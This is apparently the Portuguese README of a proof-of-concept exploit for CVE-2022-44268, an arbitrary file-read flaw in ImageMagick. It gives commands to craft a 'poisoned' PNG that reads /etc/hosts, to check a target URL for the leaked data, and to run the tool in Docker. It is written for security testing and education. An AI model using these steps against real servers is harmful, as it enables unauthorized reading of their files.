CVE-2022-44268 🧙‍♂️

CVE-2022-44268 Leitura Arbitrária de Arquivos no ImageMagick - Prova de Conceito de exploit

Vídeo 📼

https://youtu.be/quKxwNAMBIA

Uso 🛠

Envenenar a imagem ☣️

python3 CVE-2022-44268.py --image imagetopoison.png --file-to-read /etc/hosts --output poisoned.png

Faça upload da imagem PNG envenenada.

Verifique se o exploit foi bem-sucedido 🗡

python3 CVE-2022-44268.py --url http://vulnerable-imagemagick.com/uploads/vulnerable.png

Executando com Docker 🐳

Construir

docker build -t cve-2022-44268 .

Executar

docker run -v $(pwd)/data:/data -ti cve-2022-44268 --image /data/random.png --file-to-read "/etc/hosts" --output /data/poisoned.png

Parâmetros 🧰

Contato📇

Twitter - Milan Jovic

LinkedIn - Milan Jovic

Apenas para fins educacionais e não pode ser usado para violação da lei ou ganho pessoal.

O autor deste projeto não se responsabiliza por qualquer dano possível causado pelos materiais deste projeto.

Mais detalhes: https://www.metabaseq.com/imagemagick-zero-days/